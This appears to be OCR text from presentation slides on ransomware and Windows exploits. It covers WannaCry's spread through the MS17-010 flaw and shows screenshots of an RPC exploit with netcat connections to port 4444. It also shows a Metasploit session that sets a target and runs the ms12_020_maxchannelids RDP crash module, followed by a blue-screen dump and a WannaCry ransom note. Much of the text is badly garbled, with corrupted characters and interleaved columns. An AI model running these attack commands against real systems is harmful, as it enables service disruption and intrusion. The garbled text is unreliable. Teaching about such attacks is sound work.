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Hel, €FRE. X7, BPHEFS I ERCERGYRS. BN, MERREEP IRMIREIR, HEZK
& 2fETAETIEIVAK, HEMZREE, WESRK SHFRAER. EEEERE—FERE.

o Ransomware starts with an unsolicited
email, typically designed to trick the victim
into clicking on an attachment or visiting a
webpage.

A e The ransomware

leverages flaws in
the computer’s
operating system to
force it to run
ransomware code.

=

3 0

The ransomware
encrypts important
files on the system
and demands a
ransom payment
using the digital
currency bitcoin.

o {HERMS17-010 JFiE
o 2017F3A MmN E
o 2017F4AB M EIIFI KL

I S5 . ZEENSAHRERAWFKIEZE
o @ .« RF150%MNER
The WannaCry \ > =5
= Windows. flaw to replicate o FE—HILERAEER

itself and spread around the
computer network.
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(=3 A\ WINNT \system 32\ CMD.EXE e CA\WINNT\ sy stem32\ CMD.EXE - nc -vy 218. 4 4444

Hicro;ofp WHindows 28088 [Uersion 5.83.5195]
C:“WINNT >nsB867 218.6. ... .. <C> FRFUPAHA 1985-2888 Microsoft Corp.

MEAB-B67 Exploit For CH by EMMEphdntBm.org C:\wutenp>nc vy 218.¢ 3.2 4444

KJJ [218.69.98.2]1 4444 <(?>: connection refused
SHMB Connect OH? sent B, rcud @: NOTSOCK

Haybe Patched?
C:\wutenp>

C:xWIHNT >m=8867 218 .6° C:\wutenp>

C:\uwutenp>nc vu 218.L...3.1 4444

MEBE8-867 Exploit for CH by EMHEphdntB8m.org Varning: forward host lookup failed for 72BTQi¥: h_errno 11881: HOST_NOT_FOUND

72BTIOQ1X [218_ . __1.41 4444 <(?> oven
SHMB Connect OK? Mic problem has been detected and windows has been shut down To prevent damage
Send Payload Ouer? ¢GtD y¥our computer.

C2SWINNT > C= RDPWD . 5%5

msf = use auxiliary/do i Irdpims12_020_maxchannelids he driwver s attempting to access memory atter it has been freed.

msf auxiliary(ms12_020_maxchannelids) > show options f this is the first time you'we seen this Stop error screen,
estart wour computer. IT this screen appears again, follow
Module options (auxiliary/dosiwvindowsirdp'ms12_020_maxchannelids): hese =steps:

e e o b g heck to make sure any new hardware or software is properly dinstalled.
Name Current Setting Required Description f this is a new installation, ask wyour hardware or software manufacturer
or amy wWindows updates you might need.

RHOST yes The target address f problems continue, disable or remove anmy newly dnstalled hardware
DOR X A taraet Bo b software. Disable BIos memory options sugh as caching or shadowing.
RPORT The target port f wou need to use safte mMode to remove or disable components, restart
) - - ~ our computer, press F8 to select adwvanced sStartup options, and then
_maxchannelids) = set RHOST 192.168.2.10 telect sate mode.

msf auxiliary(ms12_I(
RHOST == 192.168.2.10 echinical information:

msf auxiliaryims12_020_maxchannelids) = run
W STOP:! OxO000000D5 (OxS8FELA00S, 000000000, OxSDESS3IEL , 0x000000007)

[*] 192.168.2.10: [ wias sa ROPWD. SvS — Address BDESS384 base at SBDESDOOD, Datestamp 479l922cC

[*]1 192.168.2.10:

e - ollecting data for crash dump ...
[+]1192.163.2.10: nitializing disk for crash dump ...
[*]1 Auxiliary module execution completed Feginning dump of physical memory.

pumping physical memory to disk: 85
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@ Infection Map (age: Oh 41m 8s)

WannaCry

Your documents, photos, databases and other important files have been encrypted with strongest
encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can decrypt your files
until you pay and obtain the private key.

You only have 96 hours to submit the payment. If you do not send money within provided time, all
your files will be permanently crypted and no one will be able to recover them.

Press 'View’ to view the list of files that have been encrypted.

Press "Next” for the next page.
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